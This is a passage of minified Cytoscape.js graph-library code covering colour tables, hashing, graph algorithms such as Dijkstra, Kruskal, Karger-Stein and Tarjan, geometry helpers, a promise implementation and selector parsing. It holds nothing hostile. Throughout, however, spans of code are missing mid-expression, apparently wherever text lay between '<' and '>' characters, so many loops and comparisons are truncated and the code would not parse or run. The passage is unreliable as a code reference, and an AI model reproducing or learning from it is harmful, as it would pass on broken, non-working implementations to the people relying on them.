U$e[e.toLowerCase()]},"colorname2tuple"),due=o(function(e){return(An(e)?e:null)||V$e(e)||$$e(e)||G$e(e)||z$e(e)},"color2tuple"),U$e={transparent:[0,0,0,0],aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],grey:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},pue=o(function(e){for(var r=e.map,n=e.keys,i=n.length,a=0;a1&&arguments[1]!==void 0?arguments[1]:yp,n=r,i;i=e.next(),!i.done;)n=n*vue+i.value|0;return n},"hashIterableInts"),ix=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:yp;return r*vue+e|0},"hashInt"),ax=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:eg;return(r<<5)+r+e|0},"hashIntAlt"),tze=o(function(e,r){return e*2097152+r},"combineHashes"),df=o(function(e){return e[0]*2097152+e[1]},"combineHashesArray"),Sk=o(function(e,r){return[ix(e[0],r[0]),ax(e[1],r[1])]},"hashArrays"),Xoe=o(function(e,r){var n={value:0,done:!1},i=0,a=e.length,s={next:o(function(){return i=0;i--)e[i]===r&&e.splice(i,1)},"removeFromArray"),mI=o(function(e){e.splice(0,e.length)},"clearArray"),hze=o(function(e,r){for(var n=0;n"u"?"undefined":$i(Set))!==dze?Set:pze,uE=o(function(e,r){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;if(e===void 0||r===void 0||!uI(e)){Kn("An element must have a core reference and parameters set");return}var i=r.group;if(i==null&&(r.data&&r.data.source!=null&&r.data.target!=null?i="edges":i="nodes"),i!=="nodes"&&i!=="edges"){Kn("An element must be of type `nodes` or `edges`; you specified `"+i+"`");return}this.length=1,this[0]=this;var a=this._private={cy:e,single:!0,data:r.data||{},position:r.position||{x:0,y:0},autoWidth:void 0,autoHeight:void 0,autoPadding:void 0,compoundBoundsClean:!1,listeners:[],group:i,style:{},rstyle:{},styleCxts:[],styleKeys:{},removed:!0,selected:!!r.selected,selectable:r.selectable===void 0?!0:!!r.selectable,locked:!!r.locked,grabbed:!1,grabbable:r.grabbable===void 0?!0:!!r.grabbable,pannable:r.pannable===void 0?i==="edges":!!r.pannable,active:!1,classes:new hg,animation:{current:[],queue:[]},rscratch:{},scratch:r.scratch||{},edges:[],children:[],parent:r.parent&&r.parent.isNode()?r.parent:null,traversalCache:{},backgrounding:!1,bbCache:null,bbCacheShift:{x:0,y:0},bodyBounds:null,overlayBounds:null,labelBounds:{all:null,source:null,target:null,main:null},arrowBounds:{source:null,target:null,"mid-source":null,"mid-target":null}};if(a.position.x==null&&(a.position.x=0),a.position.y==null&&(a.position.y=0),r.renderedPosition){var s=r.renderedPosition,l=e.pan(),u=e.zoom();a.position={x:(s.x-l.x)/u,y:(s.y-l.y)/u}}var h=[];An(r.classes)?h=r.classes:Jt(r.classes)&&(h=r.classes.split(/\s+/));for(var f=0,d=h.length;f0;){var k=b.pop(),A=v(k),C=k.id();if(p[C]=A,A!==1/0)for(var R=k.neighborhood().intersect(g),I=0;I0)for(B.unshift(P);d[G];){var $=d[G];B.unshift($.edge),B.unshift($.node),F=$.node,G=F.id()}return l.spawn(B)},"pathTo")}},"dijkstra")},Tze={kruskal:o(function(e){e=e||function(T){return 1};for(var r=this.byGroup(),n=r.nodes,i=r.edges,a=n.length,s=new Array(a),l=n,u=o(function(S){for(var w=0;w0;){if(w(),A++,S===f){for(var C=[],R=a,I=f,L=x[I];C.unshift(R),L!=null&&C.unshift(L),R=v[I],R!=null;)I=R.id(),L=x[I];return{found:!0,distance:d[S],path:this.spawn(C),steps:A}}m[S]=!0;for(var E=T._private.edges,D=0;DL&&(g[I]=L,b[I]=R,T[I]=w),!a){var E=R*f+C;!a&&g[E]>L&&(g[E]=L,b[E]=C,T[E]=w)}}}for(var D=0;D1&&arguments[1]!==void 0?arguments[1]:s,pe=T(q),Be=[],Ye=pe;;){if(Ye==null)return r.spawn();var He=b(Ye),Le=He.edge,Ie=He.pred;if(Be.unshift(Ye[0]),Ye.same(Ve)&&Be.length>0)break;Le!=null&&Be.unshift(Le),Ye=Ie}return u.spawn(Be)},"pathTo"),k=0;k=0;f--){var d=h[f],p=d[1],m=d[2];(r[p]===l&&r[m]===u||r[p]===u&&r[m]===l)&&h.splice(f,1)}for(var g=0;gi;){var a=Math.floor(Math.random()*r.length);r=Dze(a,e,r),n--}return r},"contractUntil"),Lze={kargerStein:o(function(){var e=this,r=this.byGroup(),n=r.nodes,i=r.edges;i.unmergeBy(function(B){return B.isLoop()});var a=n.length,s=i.length,l=Math.ceil(Math.pow(Math.log(a)/Math.LN2,2)),u=Math.floor(a/_ze);if(a<2){Kn("At least 2 nodes are required for Karger-Stein algorithm");return}for(var h=[],f=0;f1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=1/0,a=r;a1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=-1/0,a=r;a1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=0,a=0,s=r;s1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,a=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,s=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0;i?e=e.slice(r,n):(n0&&e.splice(0,r));for(var l=0,u=e.length-1;u>=0;u--){var h=e[u];s?isFinite(h)||(e[u]=-1/0,l++):e.splice(u,1)}a&&e.sort(function(p,m){return p-m});var f=e.length,d=Math.floor(f/2);return f%2!==0?e[d+1+l]:(e[d-1+l]+e[d+l])/2},"median"),Pze=o(function(e){return Math.PI*e/180},"deg2rad"),Ck=o(function(e,r){return Math.atan2(r,e)-Math.PI/2},"getAngleFromDisp"),gI=Math.log2||function(t){return Math.log(t)/Math.log(2)},yI=o(function(e){return e>0?1:e<0?-1:0},"signum"),Tp=o(function(e,r){return Math.sqrt(mp(e,r))},"dist"),mp=o(function(e,r){var n=r.x-e.x,i=r.y-e.y;return n*n+i*i},"sqdist"),Bze=o(function(e){for(var r=e.length,n=0,i=0;i=e.x1&&e.y2>=e.y1)return{x1:e.x1,y1:e.y1,x2:e.x2,y2:e.y2,w:e.x2-e.x1,h:e.y2-e.y1};if(e.w!=null&&e.h!=null&&e.w>=0&&e.h>=0)return{x1:e.x1,y1:e.y1,x2:e.x1+e.w,y2:e.y1+e.h,w:e.w,h:e.h}}},"makeBoundingBox"),$ze=o(function(e){return{x1:e.x1,x2:e.x2,w:e.w,y1:e.y1,y2:e.y2,h:e.h}},"copyBoundingBox"),zze=o(function(e){e.x1=1/0,e.y1=1/0,e.x2=-1/0,e.y2=-1/0,e.w=0,e.h=0},"clearBoundingBox"),Gze=o(function(e,r){e.x1=Math.min(e.x1,r.x1),e.x2=Math.max(e.x2,r.x2),e.w=e.x2-e.x1,e.y1=Math.min(e.y1,r.y1),e.y2=Math.max(e.y2,r.y2),e.h=e.y2-e.y1},"updateBoundingBox"),Cue=o(function(e,r,n){e.x1=Math.min(e.x1,r),e.x2=Math.max(e.x2,r),e.w=e.x2-e.x1,e.y1=Math.min(e.y1,n),e.y2=Math.max(e.y2,n),e.h=e.y2-e.y1},"expandBoundingBoxByPoint"),Fk=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0;return e.x1-=r,e.x2+=r,e.y1-=r,e.y2+=r,e.w=e.x2-e.x1,e.h=e.y2-e.y1,e},"expandBoundingBox"),$k=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:[0],n,i,a,s;if(r.length===1)n=i=a=s=r[0];else if(r.length===2)n=a=r[0],s=i=r[1];else if(r.length===4){var l=_i(r,4);n=l[0],i=l[1],a=l[2],s=l[3]}return e.x1-=s,e.x2+=i,e.y1-=n,e.y2+=a,e.w=e.x2-e.x1,e.h=e.y2-e.y1,e},"expandBoundingBoxSides"),ele=o(function(e,r){e.x1=r.x1,e.y1=r.y1,e.x2=r.x2,e.y2=r.y2,e.w=e.x2-e.x1,e.h=e.y2-e.y1},"assignBoundingBox"),vI=o(function(e,r){return!(e.x1>r.x2||r.x1>e.x2||e.x2r.y2||r.y1>e.y2)},"boundingBoxesIntersect"),yf=o(function(e,r,n){return e.x1<=r&&r<=e.x2&&e.y1<=n&&n<=e.y2},"inBoundingBox"),tle=o(function(e,r){return yf(e,r.x,r.y)},"pointInBoundingBox"),Aue=o(function(e,r){return yf(e,r.x1,r.y1)&&yf(e,r.x2,r.y2)},"boundingBoxInBoundingBox"),Vze=(LN=Math.hypot)!==null&&LN!==void 0?LN:function(t,e){return Math.sqrt(t*t+e*e)};o(Uze,"inflatePolygon");o(Hze,"miterBox");_ue=o(function(e,r,n,i,a,s,l){var u=arguments.length>7&&arguments[7]!==void 0?arguments[7]:"auto",h=u==="auto"?kf(a,s):u,f=a/2,d=s/2;h=Math.min(h,f,d);var p=h!==f,m=h!==d,g;if(p){var y=n-f+h-l,v=i-d-l,x=n+f-h+l,b=v;if(g=vf(e,r,n,i,y,v,x,b,!1),g.length>0)return g}if(m){var T=n+f+l,S=i-d+h-l,w=T,k=i+d-h+l;if(g=vf(e,r,n,i,T,S,w,k,!1),g.length>0)return g}if(p){var A=n-f+h-l,C=i+d+l,R=n+f-h+l,I=C;if(g=vf(e,r,n,i,A,C,R,I,!1),g.length>0)return g}if(m){var L=n-f-l,E=i-d+h-l,D=L,_=i+d-h+l;if(g=vf(e,r,n,i,L,E,D,_,!1),g.length>0)return g}var O;{var M=n-f+h,P=i-d+h;if(O=Z2(e,r,n,i,M,P,h+l),O.length>0&&O[0]<=M&&O[1]<=P)return[O[0],O[1]]}{var B=n+f-h,F=i-d+h;if(O=Z2(e,r,n,i,B,F,h+l),O.length>0&&O[0]>=B&&O[1]<=F)return[O[0],O[1]]}{var G=n+f-h,$=i+d-h;if(O=Z2(e,r,n,i,G,$,h+l),O.length>0&&O[0]>=G&&O[1]>=$)return[O[0],O[1]]}{var U=n-f+h,j=i+d-h;if(O=Z2(e,r,n,i,U,j,h+l),O.length>0&&O[0]<=U&&O[1]>=j)return[O[0],O[1]]}return[]},"roundRectangleIntersectLine"),qze=o(function(e,r,n,i,a,s,l){var u=l,h=Math.min(n,a),f=Math.max(n,a),d=Math.min(i,s),p=Math.max(i,s);return h-u<=e&&e<=f+u&&d-u<=r&&r<=p+u},"inLineVicinity"),Wze=o(function(e,r,n,i,a,s,l,u,h){var f={x1:Math.min(n,l,a)-h,x2:Math.max(n,l,a)+h,y1:Math.min(i,u,s)-h,y2:Math.max(i,u,s)+h};return!(ef.x2||rf.y2)},"inBezierVicinity"),Yze=o(function(e,r,n,i){n-=i;var a=r*r-4*e*n;if(a<0)return[];var s=Math.sqrt(a),l=2*e,u=(-r+s)/l,h=(-r-s)/l;return[u,h]},"solveQuadratic"),Xze=o(function(e,r,n,i,a){var s=1e-5;e===0&&(e=s),r/=e,n/=e,i/=e;var l,u,h,f,d,p,m,g;if(u=(3*n-r*r)/9,h=-(27*i)+r*(9*n-2*(r*r)),h/=54,l=u*u*u+h*h,a[1]=0,m=r/3,l>0){d=h+Math.sqrt(l),d=d<0?-Math.pow(-d,1/3):Math.pow(d,1/3),p=h-Math.sqrt(l),p=p<0?-Math.pow(-p,1/3):Math.pow(p,1/3),a[0]=-m+d+p,m+=(d+p)/2,a[4]=a[2]=-m,m=Math.sqrt(3)*(-p+d)/2,a[3]=m,a[5]=-m;return}if(a[5]=a[3]=0,l===0){g=h<0?-Math.pow(-h,1/3):Math.pow(h,1/3),a[0]=-m+2*g,a[4]=a[2]=-(g+m);return}u=-u,f=u*u*u,f=Math.acos(h/Math.sqrt(f)),g=2*Math.sqrt(u),a[0]=-m+g*Math.cos(f/3),a[2]=-m+g*Math.cos((f+2*Math.PI)/3),a[4]=-m+g*Math.cos((f+4*Math.PI)/3)},"solveCubic"),jze=o(function(e,r,n,i,a,s,l,u){var h=1*n*n-4*n*a+2*n*l+4*a*a-4*a*l+l*l+i*i-4*i*s+2*i*u+4*s*s-4*s*u+u*u,f=9*n*a-3*n*n-3*n*l-6*a*a+3*a*l+9*i*s-3*i*i-3*i*u-6*s*s+3*s*u,d=3*n*n-6*n*a+n*l-n*e+2*a*a+2*a*e-l*e+3*i*i-6*i*s+i*u-i*r+2*s*s+2*s*r-u*r,p=1*n*a-n*n+n*e-a*e+i*s-i*i+i*r-s*r,m=[];Xze(h,f,d,p,m);for(var g=1e-7,y=[],v=0;v<6;v+=2)Math.abs(m[v+1])=0&&m[v]<=1&&y.push(m[v]);y.push(1),y.push(0);for(var x=-1,b,T,S,w=0;w=0?Sh?(e-a)*(e-a)+(r-s)*(r-s):f-p},"sqdistToFiniteLine"),Hs=o(function(e,r,n){for(var i,a,s,l,u,h=0,f=0;f=e&&e>=s||i<=e&&e<=s)u=(e-i)/(s-i)*(l-a)+a,u>r&&h++;else continue;return h%2!==0},"pointInsidePolygonPoints"),Vu=o(function(e,r,n,i,a,s,l,u,h){var f=new Array(n.length),d;u[0]!=null?(d=Math.atan(u[1]/u[0]),u[0]<0?d=d+Math.PI/2:d=-d-Math.PI/2):d=u;for(var p=Math.cos(-d),m=Math.sin(-d),g=0;g0){var v=Jk(f,-h);y=Zk(v)}else y=f;return Hs(e,r,y)},"pointInsidePolygon"),Qze=o(function(e,r,n,i,a,s,l,u){for(var h=new Array(n.length*2),f=0;f=0&&v<=1&&b.push(v),x>=0&&x<=1&&b.push(x),b.length===0)return[];var T=b[0]*u[0]+e,S=b[0]*u[1]+r;if(b.length>1){if(b[0]==b[1])return[T,S];var w=b[1]*u[0]+e,k=b[1]*u[1]+r;return[T,S,w,k]}else return[T,S]},"intersectLineCircle"),RN=o(function(e,r,n){return r<=e&&e<=n||n<=e&&e<=r?e:e<=r&&r<=n||n<=r&&r<=e?r:n},"midOfThree"),vf=o(function(e,r,n,i,a,s,l,u,h){var f=e-a,d=n-e,p=l-a,m=r-s,g=i-r,y=u-s,v=p*m-y*f,x=d*m-g*f,b=y*d-p*g;if(b!==0){var T=v/b,S=x/b,w=.001,k=0-w,A=1+w;return k<=T&&T<=A&&k<=S&&S<=A?[e+T*d,r+T*g]:h?[e+T*d,r+T*g]:[]}else return v===0||x===0?RN(e,n,l)===l?[l,u]:RN(e,n,a)===a?[a,s]:RN(a,l,n)===n?[n,i]:[]:[]},"finiteLinesIntersect"),Jze=o(function(e,r,n,i,a){var s=[],l=i/2,u=a/2,h=r,f=n;s.push({x:h+l*e[0],y:f+u*e[1]});for(var d=1;d0){var y=Jk(d,-u);m=Zk(y)}else m=d}else m=n;for(var v,x,b,T,S=0;S2){for(var g=[f[0],f[1]],y=Math.pow(g[0]-e,2)+Math.pow(g[1]-r,2),v=1;vf&&(f=S)},"set"),get:o(function(T){return h[T]},"get")},p=0;p0?O=_.edgesTo(D)[0]:O=D.edgesTo(_)[0];var M=i(O);D=D.id(),A[D]>A[L]+M&&(A[D]=A[L]+M,C.nodes.indexOf(D)<0?C.push(D):C.updateItem(D),k[D]=0,w[D]=[]),A[D]==A[L]+M&&(k[D]=k[D]+k[L],w[D].push(L))}else for(var P=0;P0;){for(var $=S.pop(),U=0;U0&&l.push(n[u]);l.length!==0&&a.push(i.collection(l))}return a},"assign"),pGe=o(function(e,r){for(var n=0;n5&&arguments[5]!==void 0?arguments[5]:yGe,l=i,u,h,f=0;f=2?q2(e,r,n,0,sle,vGe):q2(e,r,n,0,ale)},"euclidean"),squaredEuclidean:o(function(e,r,n){return q2(e,r,n,0,sle)},"squaredEuclidean"),manhattan:o(function(e,r,n){return q2(e,r,n,0,ale)},"manhattan"),max:o(function(e,r,n){return q2(e,r,n,-1/0,xGe)},"max")};cg["squared-euclidean"]=cg.squaredEuclidean;cg.squaredeuclidean=cg.squaredEuclidean;o(fE,"clusteringDistance");bGe=xa({k:2,m:2,sensitivityThreshold:1e-4,distance:"euclidean",maxIterations:10,attributes:[],testMode:!1,testCentroids:null}),bI=o(function(e){return bGe(e)},"setOptions"),eE=o(function(e,r,n,i,a){var s=a!=="kMedoids",l=s?function(d){return n[d]}:function(d){return i[d](n)},u=o(function(p){return i[p](r)},"getQ"),h=n,f=r;return fE(e,i.length,l,u,h,f)},"getDist"),MN=o(function(e,r,n){for(var i=n.length,a=new Array(i),s=new Array(i),l=new Array(r),u=null,h=0;hn)return!1}return!0},"haveMatricesConverged"),kGe=o(function(e,r,n){for(var i=0;il&&(l=r[h][f],u=f);a[u].push(e[h])}for(var d=0;d=a.threshold||a.mode==="dendrogram"&&e.length===1)return!1;var g=r[s],y=r[i[s]],v;a.mode==="dendrogram"?v={left:g,right:y,key:g.key}:v={value:g.value.concat(y.value),key:g.key},e[g.index]=v,e.splice(y.index,1),r[g.key]=v;for(var x=0;xn[y.key][b.key]&&(u=n[y.key][b.key])):a.linkage==="max"?(u=n[g.key][b.key],n[g.key][b.key]0&&i.push(a);return i},"findExemplars"),fle=o(function(e,r,n){for(var i=[],a=0;al&&(s=h,l=r[a*e+h])}s>0&&i.push(s)}for(var f=0;fh&&(u=f,h=d)}n[a]=s[u]}return i=fle(e,r,n),i},"assign"),dle=o(function(e){for(var r=this.cy(),n=this.nodes(),i=OGe(e),a={},s=0;s=L?(E=L,L=_,D=O):_>E&&(E=_);for(var M=0;M0?1:0;A[R%i.minIterations*l+U]=j,$+=j}if($>0&&(R>=i.minIterations-1||R==i.maxIterations-1)){for(var te=0,Y=0;Y1||k>1)&&(l=!0),d[T]=[],b.outgoers().forEach(function(C){C.isEdge()&&d[T].push(C.id())})}else p[T]=[void 0,b.target().id()]}):s.forEach(function(b){var T=b.id();if(b.isNode()){var S=b.degree(!0);S%2&&(u?h?l=!0:h=T:u=T),d[T]=[],b.connectedEdges().forEach(function(w){return d[T].push(w.id())})}else p[T]=[b.source().id(),b.target().id()]});var m={found:!1,trail:void 0};if(l)return m;if(h&&u)if(a){if(f&&h!=f)return m;f=h}else{if(f&&h!=f&&u!=f)return m;f||(f=h)}else f||(f=s[0].id());var g=o(function(T){for(var S=T,w=[T],k,A,C;d[S].length;)k=d[S].shift(),A=p[k][0],C=p[k][1],S!=C?(d[C]=d[C].filter(function(R){return R!=k}),S=C):!a&&S!=A&&(d[A]=d[A].filter(function(R){return R!=k}),S=A),w.unshift(k),w.unshift(S);return w},"walk"),y=[],v=[];for(v=g(f);v.length!=1;)d[v[0]].length==0?(y.unshift(s.getElementById(v.shift())),y.unshift(s.getElementById(v.shift()))):v=g(v.shift()).concat(v);y.unshift(s.getElementById(v.shift()));for(var x in d)if(d[x].length)return m;return m.found=!0,m.trail=this.spawn(y,!0),m},"hierholzer")},_k=o(function(){var e=this,r={},n=0,i=0,a=[],s=[],l={},u=o(function(p,m){for(var g=s.length-1,y=[],v=e.spawn();s[g].x!=p||s[g].y!=m;)y.push(s.pop().edge),g--;y.push(s.pop().edge),y.forEach(function(x){var b=x.connectedNodes().intersection(e);v.merge(x),b.forEach(function(T){var S=T.id(),w=T.connectedEdges().intersection(e);v.merge(T),r[S].cutVertex?v.merge(w.filter(function(k){return k.isLoop()})):v.merge(w)})}),a.push(v)},"buildComponent"),h=o(function(p,m,g){p===g&&(i+=1),r[m]={id:n,low:n++,cutVertex:!1};var y=e.getElementById(m).connectedEdges().intersection(e);if(y.size()===0)a.push(e.spawn(e.getElementById(m)));else{var v,x,b,T;y.forEach(function(S){v=S.source().id(),x=S.target().id(),b=v===m?x:v,b!==g&&(T=S.id(),l[T]||(l[T]=!0,s.push({x:m,y:b,edge:S})),b in r?r[m].low=Math.min(r[m].low,r[b].id):(h(p,b,m),r[m].low=Math.min(r[m].low,r[b].low),r[m].id<=r[b].low&&(r[m].cutVertex=!0,u(m,b))))})}},"biconnectedSearch");e.forEach(function(d){if(d.isNode()){var p=d.id();p in r||(i=0,h(p,p),r[p].cutVertex=i>1)}});var f=Object.keys(r).filter(function(d){return r[d].cutVertex}).map(function(d){return e.getElementById(d)});return{cut:e.spawn(f),components:a}},"hopcroftTarjanBiconnected"),UGe={hopcroftTarjanBiconnected:_k,htbc:_k,htb:_k,hopcroftTarjanBiconnectedComponents:_k},Dk=o(function(){var e=this,r={},n=0,i=[],a=[],s=e.spawn(e),l=o(function(h){a.push(h),r[h]={index:n,low:n++,explored:!1};var f=e.getElementById(h).connectedEdges().intersection(e);if(f.forEach(function(y){var v=y.target().id();v!==h&&(v in r||l(v),r[v].explored||(r[h].low=Math.min(r[h].low,r[v].low)))}),r[h].index===r[h].low){for(var d=e.spawn();;){var p=a.pop();if(d.merge(e.getElementById(p)),r[p].low=r[h].index,r[p].explored=!0,p===h)break}var m=d.edgesWith(d),g=d.merge(m);i.push(g),s=s.difference(g)}},"stronglyConnectedSearch");return e.forEach(function(u){if(u.isNode()){var h=u.id();h in r||l(h)}}),{cut:s,components:i}},"tarjanStronglyConnected"),HGe={tarjanStronglyConnected:Dk,tsc:Dk,tscc:Dk,tarjanStronglyConnectedComponents:Dk},Oue={};[sx,bze,Tze,kze,Sze,Aze,Lze,nGe,ag,sg,WM,gGe,DGe,MGe,zGe,VGe,UGe,HGe].forEach(function(t){ir(Oue,t)});Pue=0,Bue=1,Fue=2,Il=o(function(e){if(!(this instanceof Il))return new Il(e);this.id="Thenable/1.0.7",this.state=Pue,this.fulfillValue=void 0,this.rejectReason=void 0,this.onFulfilled=[],this.onRejected=[],this.proxy={then:this.then.bind(this)},typeof e=="function"&&e.call(this,this.fulfill.bind(this),this.reject.bind(this))},"api");Il.prototype={fulfill:o(function(e){return ple(this,Bue,"fulfillValue",e)},"fulfill"),reject:o(function(e){return ple(this,Fue,"rejectReason",e)},"reject"),then:o(function(e,r){var n=this,i=new Il;return n.onFulfilled.push(gle(e,i,"fulfill")),n.onRejected.push(gle(r,i,"reject")),$ue(n),i.proxy},"then")};ple=o(function(e,r,n,i){return e.state===Pue&&(e.state=r,e[n]=i,$ue(e)),e},"deliver"),$ue=o(function(e){e.state===Bue?mle(e,"onFulfilled",e.fulfillValue):e.state===Fue&&mle(e,"onRejected",e.rejectReason)},"execute"),mle=o(function(e,r,n){if(e[r].length!==0){var i=e[r];e[r]=[];var a=o(function(){for(var l=0;l0},"animatedImpl")},"animated"),clearQueue:o(function(){return o(function(){var r=this,n=r.length!==void 0,i=n?r:[r],a=this._private.cy||this;if(!a.styleEnabled())return this;for(var s=0;s0&&this.spawn(i).updateStyle().emit("class"),r},"classes"),addClass:o(function(e){return this.toggleClass(e,!0)},"addClass"),hasClass:o(function(e){var r=this[0];return r!=null&&r._private.classes.has(e)},"hasClass"),toggleClass:o(function(e,r){An(e)||(e=e.match(/\S+/g)||[]);for(var n=this,i=r===void 0,a=[],s=0,l=n.length;s0&&this.spawn(a).updateStyle().emit("class"),n},"toggleClass"),removeClass:o(function(e){return this.toggleClass(e,!1)},"removeClass"),flashClass:o(function(e,r){var n=this;if(r==null)r=250;else if(r===0)return n;return n.addClass(e),setTimeout(function(){n.removeClass(e)},r),n},"flashClass")};zk.className=zk.classNames=zk.classes;Wr={metaChar:"[\\!\\\"\\#\\$\\%\\&\\'\\(\\)\\*\\+\\,\\.\\/\\:\\;\\<\\=\\>\\?\\@\\[\\]\\^\\`\\{\\|\\}\\~]",comparatorOp:"=|\\!=|>|>=|<|<=|\\$=|\\^=|\\*=",boolOp:"\\?|\\!|\\^",string:`"(?:\\\\"|[^"])*"|'(?:\\\\'|[^'])*'`,number:Fi,meta:"degree|indegree|outdegree",separator:"\\s*,\\s*",descendant:"\\s+",child:"\\s+>\\s+",subject:"\\$",group:"node|edge|\\*",directedEdge:"\\s+->\\s+",undirectedEdge:"\\s+<->\\s+"};Wr.variable="(?:[\\w-.]|(?:\\\\"+Wr.metaChar+"))+";Wr.className="(?:[\\w-]|(?:\\\\"+Wr.metaChar+"))+";Wr.value=Wr.string+"|"+Wr.number;Wr.id=Wr.variable;(function(){var t,e,r;for(t=Wr.comparatorOp.split("|"),r=0;r=0)&&e!=="="&&(Wr.comparatorOp+="|\\!"+e)})();xn=o(function(){return{checks:[]}},"newQuery"),zt={GROUP:0,COLLECTION:1,FILTER:2,DATA_COMPARE:3,DATA_EXIST:4,DATA_BOOL:5,META_COMPARE:6,STATE:7,ID:8,CLASS:9,UNDIRECTED_EDGE:10,DIRECTED_EDGE:11,NODE_SOURCE:12,NODE_TARGET:13,NODE_NEIGHBOR:14,CHILD:15,DESCENDANT:16,PARENT:17,ANCESTOR:18,COMPOUND_SPLIT:19,TRUE:20},KM=[{selector:":selected",matches:o(function(e){return e.selected()},"matches")},{selector:":unselected",matches:o(function(e){return!e.selected()},"matches")},{selector:":selectable",matches:o(function(e){return e.selectable()},"matches")},{selector:":unselectable",matches:o(function(e){return!e.selectable()},"matches")},{selector:":locked",matches:o(function(e){return e.locked()},"matches")},{selector:":unlocked",matches:o(function(e){return!e.locked()},"matches")},{selector:":visible",matches:o(function(e){return e.visible()},"matches")},{selector:":hidden",matches:o(function(e){return!e.visible()},"matches")},{selector:":transparent",matches:o(function(e){return e.transparent()},"matches")},{selector:":grabbed",matches:o(function(e){return e.grabbed()},"matches")},{selector:":free",matches:o(function(e){return!e.grabbed()},"matches")},{selector:":removed",matches:o(function(e){return e.removed()},"matches")},{selector:":inside",matches:o(function(e){return!e.removed()},"matches")},{selector:":grabbable",matches:o(function(e){return e.grabbable()},"matches")},{selector:":ungrabbable",matches:o(function(e){return!e.grabbable()},"matches")},{selector:":animated",matches:o(function(e){return e.animated()},"matches")},{selector:":unanimated",matches:o(function(e){return!e.animated()},"matches")},{selector:":parent",matches:o(function(e){return e.isParent()},"matches")},{selector:":childless",matches:o(function(e){return e.isChildless()},"matches")},{selector:":child",matches:o(function(e){return e.isChild()},"matches")},{selector:":orphan",matches:o(function(e){return e.isOrphan()},"matches")},{selector:":nonorphan",matches:o(function(e){return e.isChild()},"matches")},{selector:":compound",matches:o(function(e){return e.isNode()?e.isParent():e.source().isParent()||e.target().isParent()},"matches")},{selector:":loop",matches:o(function(e){return e.isLoop()},"matches")},{selector:":simple",matches:o(function(e){return e.isSimple()},"matches")},{selector:":active",matches:o(function(e){return 